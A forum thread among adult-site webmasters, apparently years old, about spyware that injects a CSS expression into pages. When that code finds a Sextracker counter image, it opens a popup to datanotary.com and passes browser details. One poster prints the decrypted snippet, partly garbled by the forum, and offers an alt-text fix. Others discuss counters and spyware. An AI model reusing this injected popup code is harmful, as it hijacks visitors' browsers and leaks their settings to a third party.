Sextracker abused by hackers
 

I got more and more complaints about consoles on my site. By now we all know Xrenoder and his HOSTS file trick, people are well aware of that problem now, but I found this new one. You might want to warn your visitors... and if possible, apply a simple fix I applied to my page, which completely solved the problem (for now)...

A user reported a file being installed on his machine which popped the site datanotary.com. This user sent me the files he found, it contained the following code (after decrypting):

img{behavior:url(#default#clientCaps);background-color:(this.althahahaha"SURF IN STYLE... THE SEX TRACKER!") ? ( (window.open('http://datanotary.com/gallery/?r=vad&c='+thishahahahahahahahaEnabled+'&l='+this. userLanguage+'&m='+this.connectionType,'','x=5000, top=5000,y=5000,left=5000,height=600,width=800,dir ectories=yes,toolbar=yes,status=yes, location=yes,resizable=yes,menubar=yes,scrollbars= yes')) ? this.alt="SURF IN STYLE.. THE SEX TRACKER!" : '' ) : ''

(I see the GFY engine added some hahaha's to this code, but the point is clear)

The code is automatically attached to every site visited. Basically what this does is, as soon as the code finds an image with the alt "SURF IN STYLE... THE SEX TRACKER!" it pops a console to datanotary.com, it then changes the alt from having three points to two to make sure it doesn't kill itself in a loop.

The solution is easy: change the alt of sextracker from having three points to two and your users no longer have the console. In the mean time I advice sextracker to take legal action against datanotary.com. I'll be putting some information on the Hun's Gazette (www.thehun.net/gazette) for people so they can fix the problem in case they have it. And I'll be changing the alt-text of the sextracker counter.

that sucks

Thanks for the heads up and solution.

porngraph...becuase im a details whore

Thanks, time to change those alts.

spywares have become a real nightmare for everyone. Not only surfers,but webmasters. Some of them is near impossible to get rid of and they are always ahead of spybot s&d and adware...

hey that is pretty cool. lame but cool none the less.

I finally got to tired of all the emails from surfers with problems that I put up a page on my site explaining how to deal with some of the more common problems and what to do to possibly prevent them.

Why not just get rid off sextracker? Is the counter really worth all these popups / hacks etc.?

:(

They must pay him a pretty penny to use it, otherwise I see not reason to use it.

:glugglug

thats a hell of thing... thanx for the warning

Counters measure traffic. Traffic brings advertisement.

Do you see a counter on Yahoo, MSN, AOL, Google, Overture? I sure don't.

Thx for sharing the solution Patrick :thumbsup

thats a good page on your site.
Can i link to it? :)

It's not the same. You don't see either companies like nielsenmedia contracted to do demographic researches on monthly basis for adult sites. Counters also help sites that do trade traffic to get new traffic trades. Plenty big sites do not use counters, but that's their decision. If i wanted to buy tgp listings or other ads (which i do occasionaly) i would start by checking the ranking on sextracker. I know i'm not the only one.

I see your point.

Aren't some of the top adult sites listed in the top 100? I remember Karas XXX & some of Xpics sites were ranked really high in the past. Can't remember what it was that was showing the traffic.

yeah,they were

that's from 99, idont see many paysites listed. I remember karasxxx too, so it was earlier

On eof the reasons I stoped using sextracker.
Not only counts the hits with no efficient at all, but those damn tricks are killing prd in alot of sites.

Yeah someone mention porngraph, a great counter if you ask me.

BTW tks for the info The Hun.
